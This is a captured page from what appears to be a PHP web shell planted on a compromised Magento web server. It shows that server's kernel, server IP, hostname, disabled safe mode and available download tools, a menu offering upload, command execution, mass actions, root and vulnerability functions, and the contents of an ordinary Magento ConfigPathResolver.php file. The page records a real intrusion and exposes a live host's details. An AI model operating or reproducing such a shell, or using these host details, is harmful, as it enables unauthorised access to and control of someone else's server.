Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.12.71.115 | Time @ Server : 19 Oct 2024 08:20:14
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/framework/App/Config/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/framework/App/Config/ConfigPathResolver.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\App\Config; use Magento\Store\Model\ScopeInterface; /** * Configures full path for configurations, including scope data and configuration type. */ class ConfigPathResolver { /** * @var ScopeCodeResolver */ private $scopeCodeResolver; /** * @param ScopeCodeResolver $scopeCodeResolver */ public function __construct(ScopeCodeResolver $scopeCodeResolver) { $this->scopeCodeResolver = $scopeCodeResolver; } /** * Creates full config path for given params. * If $type variable was provided, it will be used as first part of path. * * @param string $path The path of configuration * @param string $scope The scope of configuration * @param string|int|null $scopeCode The scope code or its identifier. The values for this * field are taken from 'store' or 'store_website' tables, depends on $scope value * @param string|null $type The type of configuration. * The available types are declared in implementations of Magento\Framework\App\Config\ConfigTypeInterface * E.g. * ```php * const CONFIG_TYPE = 'system'; * ``` * @return string Resolved configuration path */ public function resolve($path, $scope = ScopeConfigInterface::SCOPE_TYPE_DEFAULT, $scopeCode = null, $type = null) { $path = trim($path, '/'); $scope = rtrim($scope, 's'); /** Scope name is currently stored in plural form. */ if (in_array($scope, [ScopeInterface::SCOPE_STORE, ScopeInterface::SCOPE_WEBSITE])) { $scope .= 's'; } $scopePath = $type ? $type . '/' . $scope : $scope; if ($scope !== ScopeConfigInterface::SCOPE_TYPE_DEFAULT) { if (is_numeric($scopeCode) || $scopeCode === null) { $scopeCode = $this->scopeCodeResolver->resolve($scope, $scopeCode); } $scopePath .= '/' . $scopeCode; } return $scopePath . ($path ? '/' . $path : ''); } }